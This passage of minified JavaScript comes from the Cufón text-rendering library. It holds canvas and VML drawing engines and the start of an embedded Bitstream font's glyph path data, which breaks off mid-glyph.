o=Math.ceil(m.convert(A.height-B+N));n.width=Q;n.height=o;H.width=Q+"px";H.height=o+"px";B+=A.minY;H.top=Math.round(m.convert(B-V.ascent))+"px";H.left=Math.round(m.convert(u))+"px";var r=Math.max(Math.ceil(m.convert(J)),0)+"px";if(a){aa.width=r;aa.height=m.convert(V.height)+"px"}else{aa.paddingLeft=r;aa.paddingBottom=(m.convert(V.height)-1)+"px"}var X=n.getContext("2d"),D=j/A.height;X.scale(D,D*M);X.translate(-u,-B);X.save();function T(){var x=V.glyphs,ab,l=-1,g=-1,y;X.scale(G,1);while(y=Z[++l]){var ab=x[Z[l]]||V.missingGlyph;if(!ab){continue}if(ab.d){X.beginPath();if(ab.code){c(ab.code,X)}else{ab.code=d("m"+ab.d,X)}X.fill()}X.translate(E[++g],0)}X.restore()}if(z){for(var U=z.length;U--;){var F=z[U];X.save();X.fillStyle=F.color;X.translate.apply(X,L[U]);T()}}var q=t.textGradient;if(q){var v=q.stops,p=X.createLinearGradient(0,A.minY,0,A.maxY);for(var U=0,R=v.length;U<R;++U){p.addColorStop.apply(p,v[U])}X.fillStyle=p}else{X.fillStyle=P.get("color")}T();return s}})());Cufon.registerEngine("vml",(function(){var e=document.namespaces;if(!e){return}e.add("cvml","urn:schemas-microsoft-com:vml");e=null;var b=document.createElement("cvml:shape");b.style.behavior="url(#default#VML)";if(!b.coordsize){return}b=null;var h=(document.documentMode||0)<8;document.write(('<style type="text/css">cufoncanvas{text-indent:0;}@media screen{cvml\\:shape,cvml\\:rect,cvml\\:fill,cvml\\:shadow{behavior:url(#default#VML);display:block;antialias:true;position:absolute;}cufoncanvas{position:absolute;text-align:left;}cufon{display:inline-block;position:relative;vertical-align:'+(h?"middle":"text-bottom")+";}cufon cufontext{position:absolute;left:-10000in;font-size:1px;}a cufon{cursor:pointer}}@media print{cufon cufoncanvas{display:none;}}</style>").replace(/;/g,"!important;"));function c(i,j){return a(i,/(?:em|ex|%)$|^[a-z-]+$/i.test(j)?"1em":j)}function a(l,m){if(m==="0"){return 0}if(/px$/i.test(m)){return parseFloat(m)}var k=l.style.left,j=l.runtimeStyle.left;l.runtimeStyle.left=l.currentStyle.left;l.style.left=m.replace("%","em");var i=l.style.pixelLeft;l.style.left=k;l.runtimeStyle.left=j;return i}function f(l,k,j,n){var i="computed"+n,m=k[i];if(isNaN(m)){m=k.get(n);k[i]=m=(m=="normal")?0:~~j.convertFrom(a(l,m))}return m}var g={};function d(p){var q=p.id;if(!g[q]){var n=p.stops,o=document.createElement("cvml:fill"),i=[];o.type="gradient";o.angle=180;o.focus="0";o.method="sigma";o.color=n[0][1];for(var m=1,l=n.length-1;m<l;++m){i.push(n[m][0]*100+"% "+n[m][1])}o.colors=i.join(",");o.color2=n[l][1];g[q]=o}return g[q]}return function(ac,G,Y,C,K,ad,W){var n=(G===null);if(n){G=K.alt}var I=ac.viewBox;var p=Y.computedFontSize||(Y.computedFontSize=new Cufon.CSS.Size(c(ad,Y.get("fontSize"))+"px",ac.baseSize));var y,q;if(n){y=K;q=K.firstChild}else{y=document.createElement("cufon");y.className="cufon cufon-vml";y.alt=G;q=document.createElement("cufoncanvas");y.appendChild(q);if(C.printable){var Z=document.createElement("cufontext");Z.appendChild(document.createTextNode(G));y.appendChild(Z)}if(!W){y.appendChild(document.createElement("cvml:shape"))}}var ai=y.style;var R=q.style;var l=p.convert(I.height),af=Math.ceil(l);var V=af/l;var P=V*Cufon.CSS.fontStretch(Y.get("fontStretch"));var U=I.minX,T=I.minY;R.height=af;R.top=Math.round(p.convert(T-ac.ascent));R.left=Math.round(p.convert(U));ai.height=p.convert(ac.height)+"px";var F=Y.get("color");var ag=Cufon.CSS.textTransform(G,Y).split("");var L=ac.spacing(ag,f(ad,Y,p,"letterSpacing"),f(ad,Y,p,"wordSpacing"));if(!L.length){return null}var k=L.total;var x=-U+k+(I.width-L[L.length-1]);var ah=p.convert(x*P),X=Math.round(ah);var O=x+","+I.height,m;var J="r"+O+"ns";var u=C.textGradient&&d(C.textGradient);var o=ac.glyphs,S=0;var H=C.textShadow;var ab=-1,aa=0,w;while(w=ag[++ab]){var D=o[ag[ab]]||ac.missingGlyph,v;if(!D){continue}if(n){v=q.childNodes[aa];while(v.firstChild){v.removeChild(v.firstChild)}}else{v=document.createElement("cvml:shape");q.appendChild(v)}v.stroked="f";v.coordsize=O;v.coordorigin=m=(U-S)+","+T;v.path=(D.d?"m"+D.d+"xe":"")+"m"+m+J;v.fillcolor=F;if(u){v.appendChild(u.cloneNode(false))}var ae=v.style;ae.width=X;ae.height=af;if(H){var s=H[0],r=H[1];var B=Cufon.CSS.color(s.color),z;var N=document.createElement("cvml:shadow");N.on="t";N.color=B.color;N.offset=s.offX+","+s.offY;if(r){z=Cufon.CSS.color(r.color);N.type="double";N.color2=z.color;N.offset2=r.offX+","+r.offY}N.opacity=B.opacity||(z&&z.opacity)||1;v.appendChild(N)}S+=L[aa++]}var M=v.nextSibling,t,A;if(C.forceHitArea){if(!M){M=document.createElement("cvml:rect");M.stroked="f";M.className="cufon-vml-cover";t=document.createElement("cvml:fill");t.opacity=0;M.appendChild(t);q.appendChild(M)}A=M.style;A.width=X;A.height=af}else{if(M){q.removeChild(M)}}ai.width=Math.max(Math.ceil(p.convert(k*P)),0);if(h){var Q=Y.computedYAdjust;if(Q===undefined){var E=Y.get("lineHeight");if(E=="normal"){E="1em"}else{if(!isNaN(E)){E+="em"}}Y.computedYAdjust=Q=0.5*(a(ad,E)-parseFloat(ai.height))}if(Q){ai.marginTop=Math.ceil(Q)+"px";ai.marginBottom=Q+"px"}}return y}})());
/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright 1990-1998 Bitstream Inc.  All rights reserved.
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"6,-9v4,-26,53,4,43,-36r0,-140v0,-31,-2,-35,-31,-34v-8,1,-12,-3,-12,-10v0,-21,36,-7,58,-11v11,-2,11,4,12,14r0,181v-10,41,38,10,41,36v-2,21,-33,5,-51,8v-20,-4,-56,14,-60,-8","w":119},{"d":"100,-18v45,1,50,-33,49,-79v-1,-35,-18,-60,-51,-60v-37,0,-56,30,-55,69v0,41,18,69,57,70xm13,-85v-11,-83,92,-128,136,-68v-3,-31,13,-75,-32,-66v-13,2,-18,-12,-10,-19v12,-6,36,0,56,-3v11,0,13,4,13,15r0,182v-11,40,38,10,41,36v-4,21,-39,2,-60,10v-10,1,-8,-7,-9,-17v-49,46,-145,6,-135,-70","w":218},{"d":"127,-224v-34,0,-52,-3,-52,35r0,221v-3,37,19,38,52,34v26,-3,31,22,7,19v-38,-5,-95,19,-84,-34r0,-260v-9,-55,43,-26,84,-34v8,-2,16,2,16,9v-2,11,-9,10,-23,10","w":177},{"d":"36,-12v7,-29,57,8,57,-35r0,-145v-1,-21,-4,-24,-24,-25v-42,-5,-40,27,-36,61v1,8,-6,18,-14,16v-26,-7,-3,-54,-12,-84v9,-36,71,-8,118,-16v32,5,81,-17,85,16v-2,23,-2,46,0,69v0,9,-4,15,-12,15v-20,0,-13,-27,-12,-45v0,-28,-9,-32,-38,-32v-19,0,-23,3,-23,25r0,145v-7,41,49,7,56,35v-3,27,-49,10,-72,11r-56,3v-11,0,-17,-3,-17,-14","w":217,"k":{"y":-7,"u":20,"s":13,"r":6,"o":13,"i":-7,"e":13,"c":13,"a":13,"T":-13,"A":13,";":23,":":23,".":20,"-":13,",":20}},{"d":"8,-230v9,-26,57,-3,84,-12v17,1,17,8,25,23r97,192v-5,-53,-3,-114,-3,-171v0,-39,-50,-1,-53,-32v15,-30,78,0,115,-13v20,-3,22,26,4,27v-18,-3,-37,-4,-37,18r0,167v6,39,-46,44,-55,11r-99,-195r2,171v-7,39,48,3,52,32v-13,31,-78,1,-115,14v-10,-1,-17,-3,-17,-14v2,-28,50,6,50,-32r0,-153v6,-38,-47,-3,-50,-33","w":293},{"d":"81,-153v0,-67,-1,-116,70,-107r0,23v-85,-22,-6,135,-79,144v41,6,35,53,35,101v0,37,8,44,44,43r0,22v-50,1,-70,-11,-70,-64v0,-49,8,-99,-51,-91r0,-22v38,1,51,-11,51,-49","w":180},{"d":"136,-9v3,-26,50,5,39,-35v-1,-53,9,-112,-46,-112v-56,0,-55,58,-54,117v-8,33,39,5,39,30v0,22,-35,4,-55,8v-18,-3,-51,13,-52,-8v-1,-26,50,5,41,-33r0,-87v2,-24,-6,-26,-28,-25v-9,0,-13,-1,-13,-9v1,-22,33,-8,55,-12v15,-3,10,15,11,28v15,-19,29,-29,60,-31v73,-4,78,62,70,133v-5,42,37,10,41,36v-2,22,-35,4,-53,8v-21,-4,-52,13,-55,-8","w":245},{"d":"120,-156v-49,0,-45,59,-45,111v-9,38,31,12,31,36v0,20,-27,5,-44,8v-20,-4,-55,14,-55,-8v0,-26,52,5,41,-36r0,-79v1,-28,-3,-31,-28,-30v-9,0,-13,-1,-13,-9v1,-22,33,-7,55,-12v15,-3,10,13,11,26v16,-37,83,-39,102,-4v13,-17,29,-25,56,-26v68,-2,69,67,63,134v-4,40,37,11,42,36v-3,22,-33,4,-53,8v-16,-1,-46,12,-48,-8v-1,-12,11,-14,22,-11v19,-1,10,-41,10,-63v0,-51,0,-72,-40,-74v-48,-2,-43,60,-43,112v-9,39,31,11,35,36v-6,25,-56,-2,-84,11v-8,0,-12,-3,-12,-11v3,-25,40,4,34,-36v-7,-47,13,-111,-37,-111","w":337},{"d":"-3,-163v0,-14,13,-12,26,-12v19,0,-9,-50,18,-51v20,0,11,27,14,45v3,19,55,-9,55,18v0,19,-32,10,-50,12v-5,1,-5,3,-5,10v6,41,-18,121,24,122v24,-1,24,-22,24,-48v0,-10,3,-17,12,-17v13,0,15,9,15,24v0,40,-17,64,-54,66v-69,4,-43,-86,-48,-147v5,-21,-31,1,-31,-22","w":139},{"d":"77,-230v-21,-7,-28,-28,-7,-33v23,7,48,42,65,58v-15,12,-42,-19,-58,-25","w":180},{"d":"8,-12v4,-28,50,6,50,-32r0,-153v7,-36,-48,-4,-50,-33v9,-28,60,-1,87,-13v15,2,18,8,22,24r49,179v20,-65,33,-138,58,-198v17,-11,55,1,81,-5v20,-5,26,27,7,27v-19,0,-38,-4,-38,19r0,153v-5,36,50,5,50,32v0,25,-39,10,-59,10v-21,0,-61,15,-61,-10v0,-26,41,4,41,-32r1,-174r-4,0r-58,199v-7,31,-30,24,-37,-1r-58,-198r-3,0r2,174v-7,36,40,5,40,32v0,24,-40,10,-61,10v-20,0,-56,14,-59,-10","w":332},{"d":"109,-157v-42,0,-51,36,-51,83v0,37,12,56,48,56v39,0,58,-28,58,-70v0,-39,-18,-69,-55,-69xm193,-88v0,78,-83,120,-134,73v0,15,0,20,-16,20v-15,0,-12,-15,-12,-29r0,-170v10,-41,-40,-9,-46,-36v5,-21,40,-4,62,-10v27,4,6,55,11,87v12,-18,28,-28,56,-28v50,-1,79,41,79,93","w":206},{"d":"7,-12v4,-28,53,6,53,-32r0,-154v4,-38,-49,-3,-53,-31v2,-26,40,-9,61,-11v72,-6,155,-10,152,67v-2,62,-47,73,-116,69v-27,-2,-10,39,-14,60v-7,38,49,4,53,32v-14,31,-83,1,-121,14v-10,-1,-14,-4,-15,-14xm126,-219v-55,-7,-31,41,-36,81v1,12,8,10,23,10v49,0,76,-3,76,-44v0,-39,-22,-42,-63,-47","w":227,"k":{"s":13,"r":6,"o":13,"e":20,"a":20,"Y":6,"W":6,"U":6,"A":26,";":16,":":16,".":73,"-":28,",":73}},{"d":"36,0v-26,4,-30,-23,-16,-36r111,-116r-66,0v-38,-7,-10,38,-35,44v-17,-1,-8,-27,-10,-45v-3,-29,18,-20,43,-21r81,-1v23,-3,25,21,12,34r-112,116r77,0v41,9,8,-49,35,-55v21,4,6,40,10,67v2,17,-18,13,-33,13r-97,0","w":179},{"d":"120,-157v-43,0,-54,39,-51,88v2,31,19,52,51,51v36,-1,55,-30,55,-70v0,-39,-18,-69,-55,-69xm205,-86v0,77,-86,120,-136,71v2,27,-12,68,30,58v14,-3,21,13,12,21v-18,7,-68,-6,-94,3v-8,0,-13,-3,-13,-11v0,-27,48,4,38,-36r0,-142v0,-27,-2,-34,-29,-32v-8,1,-13,-3,-13,-10v3,-21,33,-6,58,-11v15,-2,11,9,12,22v12,-18,28,-28,55,-28v50,0,80,41,80,95","w":218},{"d":"68,-18v44,0,66,-24,59,-73v-15,19,-92,3,-92,46v0,17,14,27,33,27xm161,6v-18,0,-30,-9,-30,-27v-24,39,-126,40,-122,-26v3,-38,25,-47,64,-52v35,-4,52,-15,52,-30v0,-36,-63,-38,-75,-15v9,9,12,34,-10,33v-14,0,-21,-9,-21,-24v2,-32,34,-44,71,-46v77,-5,62,74,63,143v0,13,1,20,11,20v26,3,0,-49,23,-51v17,-1,11,26,11,42v0,21,-15,33,-37,33","w":199},{"d":"190,70v-38,0,-48,-26,-45,-66v-84,9,-130,-44,-130,-124v0,-74,40,-125,110,-125v70,1,110,51,110,125v0,57,-25,102,-65,117v1,25,-4,51,21,51v20,0,22,-15,23,-33v7,-13,23,-6,23,12v0,26,-21,43,-47,43xm125,-220v-85,0,-100,150,-41,189v-17,-33,4,-69,42,-69v38,0,46,26,44,67v52,-39,42,-187,-45,-187xm96,-49v-2,26,26,37,49,28v-1,-27,5,-59,-23,-57v-16,1,-26,14,-26,29","w":250,"k":{"-":-10}},{"d":"43,-90v-7,128,167,151,248,90r8,12v-31,22,-67,39,-116,38v-97,-2,-163,-48,-163,-142v0,-104,72,-164,176,-164v83,0,144,40,144,119v0,66,-34,111,-97,116v-23,2,-37,-9,-35,-32v-10,18,-26,31,-52,32v-37,0,-51,-22,-55,-59v-7,-70,90,-134,126,-68r10,-22r20,0r-27,114v0,10,7,17,19,16v46,-5,68,-46,69,-95v2,-65,-55,-105,-125,-103v-92,3,-145,56,-150,148xm125,-78v0,40,42,50,67,27v20,-17,21,-48,30,-75v-4,-19,-16,-33,-37,-33v-37,0,-60,41,-60,81","w":360},{"d":"44,-243v40,8,84,-22,84,34r0,263v6,50,-39,24,-84,31v-9,1,-16,-2,-16,-9v0,-16,30,-9,46,-9v25,0,29,-9,29,-35r0,-221v3,-37,-18,-35,-52,-35v-15,0,-21,1,-23,-10v0,-7,8,-10,16,-9","w":177},{"d":"71,-211v-6,1,-9,2,-9,10r-4,59v45,-44,144,-17,144,60v0,53,-41,87,-96,87v-44,0,-85,-24,-88,-63v-2,-31,48,-43,49,-10v1,12,-15,12,-18,20v19,48,123,33,123,-33v0,-37,-22,-57,-60,-57v-32,0,-49,23,-70,32v-22,-2,-8,-38,-9,-58v6,-25,-7,-73,21,-73r106,0v33,-6,16,34,24,53v-3,13,-25,12,-23,-5v3,-38,-58,-17,-90,-22"},{"d":"101,17v6,10,-2,21,-13,14v-32,-84,-57,-177,-86,-264v4,-11,20,-9,20,5","w":98},{"d":"201,-105v28,0,46,-12,68,-28r0,23v-20,14,-39,24,-68,25v-33,1,-76,-26,-102,-24v-29,2,-46,12,-68,28r0,-23v20,-15,40,-25,68,-26v33,-1,74,25,102,25","w":299},{"d":"24,70v51,-30,98,-79,98,-158v0,-80,-49,-126,-98,-158v0,-2,3,-5,6,-4v67,22,120,74,119,162v0,88,-52,140,-119,163v-3,0,-5,-3,-6,-5","w":177},{"d":"105,-165v3,26,-48,-6,-40,26r28,118v14,-49,19,-108,39,-151v15,-10,35,-2,34,17r32,134r29,-124v1,-22,-43,4,-40,-20v3,-21,37,-7,54,-7v20,0,53,-13,59,7v-3,26,-48,-7,-48,30r-26,101v-9,35,-24,47,-46,31v-17,-35,-24,-101,-35,-145v-11,45,-18,109,-35,145v-24,21,-40,-6,-48,-39v-9,-36,-16,-78,-31,-109v-10,-9,-41,6,-41,-13v4,-22,41,-8,60,-8v18,0,53,-13,55,7","w":295,"k":{".":26,"-":-7,",":26}},{"d":"260,-243v17,-2,22,26,4,27v-22,-5,-33,2,-40,21r-66,175v-4,21,-22,31,-39,20v-34,-64,-50,-149,-84,-213v-10,-12,-45,7,-42,-16v3,-26,48,-10,72,-10v20,0,58,-16,58,10v0,28,-57,-9,-43,35r54,159r57,-174v-3,-20,-61,6,-42,-30v10,-9,36,2,54,0","w":268,"k":{"y":20,"u":23,"o":26,"i":13,"e":26,"a":29,"O":6,"A":20,";":24,":":24,".":60,"-":29,",":60}},{"d":"101,-275r0,360r-22,0r0,-360r22,0","w":180},{"d":"253,-116r0,18r-207,85r0,-23r176,-71r-176,-72r0,-22","w":299},{"d":"102,-156v-21,0,-38,13,-38,34v0,21,17,33,38,33v21,0,37,-12,37,-33v0,-21,-16,-35,-37,-34xm158,8v-3,-43,-113,-42,-117,0v3,44,114,41,117,0xm43,-30v-33,-7,-32,-60,1,-65v-24,-50,19,-92,76,-83v0,-19,17,-33,38,-32v31,-7,55,47,20,50v-27,3,4,-32,-21,-30v-11,0,-18,8,-17,21v47,26,24,113,-41,103v-18,5,-55,-27,-55,3v0,26,33,19,59,19v47,0,82,14,82,54v0,73,-171,74,-171,0v1,-19,13,-34,29,-40","w":190},{"d":"6,-9v5,-25,52,4,43,-36r0,-72v0,-32,-1,-38,-31,-37v-8,1,-12,-3,-12,-10v0,-20,36,-7,58,-11v11,-2,11,4,12,15r0,115v-10,41,37,10,41,36v-2,21,-33,5,-51,8v-20,-4,-56,14,-60,-8xm57,-191v-11,1,-19,-9,-19,-19v0,-11,8,-19,19,-19v10,0,19,8,19,19v0,9,-9,20,-19,19","w":119},{"d":"142,-36v27,0,41,-39,23,-59v-5,-6,-13,-10,-23,-12r0,71xm101,-116r1,83v10,0,21,1,29,-1r0,-76xm90,-207v-28,4,-32,55,0,59r0,-59xm101,-144r30,6r0,-72v-10,0,-21,-2,-30,0r0,66xm199,-75v0,34,-23,56,-53,63v-2,14,6,41,-7,41v-15,0,-7,-25,-9,-39v-8,0,-19,2,-25,0v-2,14,5,38,-8,39v-14,-1,-6,-26,-8,-40v-34,-5,-57,-24,-60,-60v-3,-30,40,-40,43,-12v2,13,-13,12,-17,19v0,17,19,27,35,29r0,-84v-30,-6,-49,-21,-50,-52v0,-31,22,-52,49,-58v2,-14,-6,-41,8,-41v13,0,6,25,8,38v9,-2,17,0,25,0v2,-13,-5,-38,8,-38v14,0,6,26,8,40v23,5,43,22,45,47v1,21,-31,27,-34,7v10,-15,7,-29,-15,-32r0,73v33,5,57,24,57,60"},{"d":"48,61v-25,-7,21,-36,14,-56v-16,1,-28,-4,-28,-19v0,-14,9,-25,23,-23v46,5,22,91,-9,98","w":113},{"d":"115,-158v-50,-1,-40,83,-36,133v6,12,42,-5,41,16v-10,25,-67,-2,-100,11v-9,0,-14,-2,-13,-11v2,-26,52,5,41,-36r0,-75v-1,-29,0,-35,-28,-34v-9,-1,-14,0,-13,-9v1,-22,33,-8,54,-12v14,-2,12,13,11,25v14,-46,102,-36,98,19v0,18,-9,34,-28,33v-23,4,-26,-29,-7,-32v4,-1,7,-3,7,-8v0,-11,-14,-21,-27,-20","w":179,"k":{".":23,"-":13,",":23}},{"d":"29,-260v50,0,72,10,70,65v-2,50,-6,98,51,91r0,22v-56,-8,-53,40,-51,91v2,55,-19,65,-70,64r0,-22v87,20,5,-135,79,-144v-41,-7,-35,-54,-35,-102v0,-36,-9,-44,-44,-43r0,-22","w":180},{"d":"94,6v-52,1,-81,-40,-81,-94v0,-55,31,-93,85,-93v37,-1,67,19,70,53v3,29,-45,43,-48,14v-1,-12,13,-14,16,-22v0,-13,-20,-23,-36,-22v-41,0,-55,31,-59,73v-7,68,87,96,103,29v4,-20,25,-21,28,-4v-5,41,-33,66,-78,66","w":178},{"d":"78,-190v-5,28,31,22,35,38v3,9,-14,12,-25,13v-27,3,-41,25,-41,56v-1,39,33,62,73,62v43,0,79,-25,79,-65v0,-41,-65,-58,-65,-16v0,11,6,20,18,19v-4,-9,-1,-19,10,-19v11,0,14,5,14,16v0,16,-14,26,-31,26v-23,0,-38,-19,-38,-41v-1,-49,54,-53,103,-47v32,4,47,-11,50,-41v4,-35,-49,-45,-49,-10v0,1,1,2,1,3v8,-9,27,-8,27,7v-1,13,-10,21,-25,21v-17,0,-29,-15,-29,-33v0,-24,20,-43,45,-42v34,0,55,19,55,54v0,44,-33,67,-80,60v14,7,22,23,22,44v-4,61,-48,89,-111,91v-58,1,-101,-32,-101,-88v-1,-37,24,-70,57,-73v-38,-22,-20,-98,33,-90v44,-9,65,60,21,66v-9,1,-17,-5,-17,-14v0,-10,8,-16,18,-13v-10,-31,-53,-15,-49,16","w":287},{"w":113},{"d":"171,-152r-46,0r-17,48r46,0xm162,-256r-29,83r46,0r29,-83r25,0r-29,83r54,0r-7,21r-55,0r-16,48r58,0r-8,22r-58,0r-29,82r-26,0r30,-82r-47,0r-30,82r-25,0r30,-82r-57,0r8,-22r56,0r17,-48r-60,0r7,-21r61,0r29,-83r26,0","w":276},{"d":"99,-18v44,2,50,-35,50,-82v0,-32,-18,-57,-50,-57v-37,0,-56,30,-56,69v0,41,19,69,56,70xm165,-175v14,0,11,4,12,17r0,180v-9,41,40,10,46,36v-3,21,-38,8,-56,8v-21,0,-57,13,-63,-8v2,-27,56,7,45,-36r0,-37v-49,46,-146,7,-135,-70v-11,-82,92,-128,135,-68v0,-15,-2,-22,16,-22","w":208},{"d":"113,-217v-46,0,-65,45,-65,98v0,53,19,99,65,99v46,0,66,-46,66,-99v0,-54,-20,-98,-66,-98xm113,-243v64,0,96,55,96,124v0,69,-31,124,-96,124v-65,0,-96,-55,-96,-124v0,-69,31,-124,96,-124"},{"d":"206,-165v-5,24,-37,-2,-41,30v-26,60,-42,142,-82,185v-26,29,-95,27,-97,-19v-1,-24,39,-35,40,-8v1,6,-5,11,-9,17v28,21,78,-16,66,-48r-49,-131v-4,-29,-39,-2,-44,-25v12,-27,61,1,91,-12v6,0,11,5,11,11v3,24,-41,-3,-30,26r39,107r39,-114v0,-19,-30,4,-30,-19v0,-19,27,-7,42,-7v18,0,50,-13,54,7","w":197,"k":{".":31,"-":6,",":31}},{"d":"127,-125v-18,2,-60,7,-39,-15r68,-70r-87,0v-31,-3,3,52,-26,52v-22,0,-11,-36,-11,-61v0,-16,2,-18,17,-18r129,0v25,-4,27,15,14,28r-62,61v47,-2,75,23,75,68v1,56,-41,85,-99,85v-47,0,-89,-27,-89,-70v0,-33,49,-55,55,-18v2,16,-19,15,-25,23v0,24,32,40,60,40v40,0,69,-21,69,-59v0,-30,-17,-49,-49,-46"},{"d":"103,-157v-39,0,-61,27,-61,69v0,42,20,70,61,70v40,0,61,-28,61,-70v0,-42,-21,-69,-61,-69xm102,6v-54,0,-89,-39,-89,-94v0,-55,35,-92,90,-92v55,0,89,37,89,92v1,57,-34,94,-90,94","w":205,"k":{"x":6,"-":-7}},{"d":"162,-53v0,59,-87,77,-122,40v1,12,-2,18,-12,19v-23,-5,-3,-45,-11,-69v0,-7,5,-13,12,-13v10,0,11,11,11,22v1,25,26,37,55,37v34,0,55,-33,28,-51v-41,-11,-100,-7,-100,-60v0,-54,80,-66,112,-36v-1,-9,1,-16,9,-16v19,5,2,38,7,62v1,8,-3,12,-10,12v-11,1,-10,-8,-10,-18v0,-22,-19,-34,-43,-34v-29,0,-53,26,-32,46v31,19,106,3,106,59","w":177},{"d":"57,5v-12,0,-22,-9,-22,-21v0,-12,9,-23,22,-22v12,0,21,10,21,22v0,12,-9,21,-21,21","w":113},{"d":"125,-245v70,1,110,51,110,125v0,74,-39,125,-110,125v-70,0,-110,-51,-110,-125v0,-74,40,-125,110,-125xm49,-120v0,55,26,100,76,100v50,0,76,-44,76,-100v0,-56,-26,-100,-76,-100v-50,0,-76,45,-76,100","w":250,"k":{"Y":13,"X":6,"V":6,"A":6,";":-7,":":-7,".":15,"-":-10,",":15}},{"d":"98,-223v-32,0,-66,19,-57,50v6,10,8,-10,20,-7v8,0,15,7,15,14v-1,14,-14,26,-29,26v-21,0,-34,-18,-34,-40v0,-42,41,-65,87,-65v67,0,109,61,66,108v-20,22,-69,20,-68,59v1,26,-27,23,-27,3v0,-65,84,-50,84,-105v0,-28,-25,-43,-57,-43xm88,-38v12,0,22,9,22,21v0,12,-9,23,-22,22v-12,0,-21,-10,-21,-22v0,-12,9,-21,21,-21","w":197},{"d":"253,-179r-175,72r175,71r0,23r-207,-85r0,-18r207,-85r0,22","w":299},{"d":"55,-172v16,3,41,-12,42,7v5,21,-33,6,-22,19r32,38v9,-15,29,-27,32,-45v0,0,-24,3,-24,-10v1,-21,25,-7,42,-9v17,3,52,-13,52,8v0,23,-35,1,-44,22r-43,52v20,22,38,48,60,68v10,5,30,-5,31,12v0,22,-31,6,-47,9v-17,-3,-49,13,-50,-8v-1,-15,17,-12,30,-11v1,-4,2,-6,-2,-8r-37,-45v-11,18,-35,32,-40,52v10,2,32,-5,30,12v-1,21,-33,5,-50,8v-17,-2,-47,12,-47,-9v0,-21,33,-1,41,-21r50,-59v-24,-19,-35,-65,-73,-62v-8,0,-16,-4,-15,-12v3,-21,34,-5,52,-8","w":216,"k":{"o":6,"e":6,"c":6}},{"d":"50,61v-27,-7,20,-35,13,-56v-16,0,-27,-4,-27,-19v0,-14,8,-24,22,-23v47,4,23,91,-8,98xm58,-111v-12,0,-22,-10,-22,-22v0,-12,11,-21,22,-22v12,0,22,10,22,22v0,12,-9,23,-22,22","w":117},{"d":"20,-24v22,3,39,3,39,-24r0,-150v4,-38,-47,-5,-53,-31v2,-26,40,-10,61,-11v67,-5,153,-14,153,58v0,28,-16,43,-40,49v30,8,51,28,51,64v0,95,-126,71,-210,71v-10,0,-15,-4,-15,-14v0,-8,6,-13,14,-12xm126,-119v-53,0,-37,35,-37,74v0,26,15,22,47,23v38,1,63,-13,63,-48v0,-40,-26,-49,-73,-49xm126,-220v-49,-6,-37,29,-37,67v0,10,11,10,25,10v41,0,74,-5,74,-42v0,-31,-27,-31,-62,-35","w":249,"k":{"Y":13,"W":6,"V":6,"-":-10}},{"d":"154,-246v-49,31,-100,80,-99,158v1,78,48,129,99,158v-1,2,-3,5,-6,5v-68,-22,-120,-76,-120,-163v0,-87,51,-140,120,-162v4,-1,5,2,6,4","w":177},{"d":"120,-212v8,-13,26,-9,26,6v0,14,-33,13,-45,21v1,19,46,7,46,27v0,14,-16,20,-26,6v-8,-12,-14,-21,-27,-19v-1,19,22,48,-4,52v-27,-4,-1,-32,-4,-52v-16,-5,-24,26,-40,27v-17,-3,-19,-24,4,-26v14,-1,18,-5,28,-9v0,-21,-45,-5,-45,-27v0,-14,16,-19,26,-6v9,11,15,21,27,19v2,-20,-24,-49,4,-52v31,3,-8,40,8,55v8,-8,14,-11,22,-22","w":180},{"d":"67,-240v23,4,69,-15,69,10v0,29,-52,-5,-48,32v9,73,-28,177,59,177v85,0,50,-102,58,-176v4,-38,-47,-3,-48,-33v15,-29,79,0,117,-13v9,1,16,4,16,14v-2,29,-53,-7,-53,31r0,118v1,61,-31,85,-90,85v-71,1,-91,-37,-91,-115r0,-88v6,-37,-50,-2,-52,-31v-2,-27,41,-6,63,-11","w":292,"k":{"A":10}},{"d":"63,-191v-10,1,-19,-10,-19,-19v0,-11,8,-19,19,-19v10,0,20,9,19,19v1,10,-9,20,-19,19xm0,42v28,17,56,-4,56,-44r0,-115v1,-34,-4,-41,-34,-38v-13,1,-16,-11,-10,-18v13,-7,39,2,58,-3v11,0,12,4,12,16v-8,91,33,231,-64,229v-25,0,-48,-14,-49,-36v0,-12,7,-21,19,-21v16,0,22,20,12,30","w":119},{"d":"113,-122v-35,0,-64,18,-64,50v0,32,29,50,64,50v36,0,64,-17,64,-50v0,-33,-28,-50,-64,-50xm113,-218v-26,0,-48,10,-47,34v0,23,21,35,47,34v27,0,48,-10,48,-34v0,-23,-21,-34,-48,-34xm192,-182v-1,27,-14,37,-36,46v32,7,53,29,53,66v0,49,-43,75,-96,75v-53,0,-94,-28,-95,-77v0,-37,22,-57,53,-64v-22,-7,-36,-20,-36,-46v0,-42,33,-60,78,-60v45,0,79,17,79,60"},{"d":"111,-242v67,0,113,61,73,112v-26,33,-137,33,-138,83v9,-9,22,-16,39,-16v31,0,60,38,80,38v15,0,27,-15,20,-28v-12,5,-29,4,-28,-12v0,-10,10,-19,22,-19v20,0,29,17,29,38v1,28,-20,51,-46,51v-37,1,-78,-65,-115,-29v10,1,14,7,14,15v0,8,-8,15,-17,14v-35,-5,-32,-60,-11,-83v22,-42,102,-40,131,-76v18,-36,-14,-65,-53,-65v-26,0,-60,11,-55,35v11,-1,17,5,17,16v0,13,-10,21,-23,21v-15,-1,-25,-12,-25,-28v0,-41,41,-67,86,-67"},{"d":"130,-230v1,21,-27,7,-38,15v11,23,32,43,47,65r47,-65v-8,-10,-41,9,-39,-15v2,-25,35,-10,53,-10v25,0,68,-16,72,10v-1,22,-31,6,-45,15v-24,24,-48,60,-70,87r67,85v15,19,21,22,44,18v7,0,14,6,14,13v-13,32,-78,0,-116,14v-10,-1,-13,-4,-14,-14v-3,-27,60,2,36,-29r-49,-64v-18,25,-39,48,-55,75v4,17,42,-7,41,18v-1,26,-34,7,-55,11v-25,-4,-75,16,-75,-11v0,-14,18,-14,31,-11v8,1,19,-10,29,-22r66,-83r-71,-87v-14,-8,-44,7,-45,-15v5,-26,48,-10,72,-10v18,0,52,-15,53,10","w":277,"k":{"e":6,"O":6,"A":6,"-":18}},{"d":"234,-116v-39,0,-42,97,0,97v22,-1,30,-23,30,-48v0,-25,-8,-48,-30,-49xm234,5v-37,0,-56,-32,-56,-73v0,-41,18,-73,56,-73v38,0,57,31,57,73v0,42,-19,73,-57,73xm72,-217v-23,-1,-31,23,-31,48v0,26,9,48,31,48v22,0,31,-23,31,-48v0,-25,-8,-48,-31,-48xm100,2v-2,9,-21,11,-23,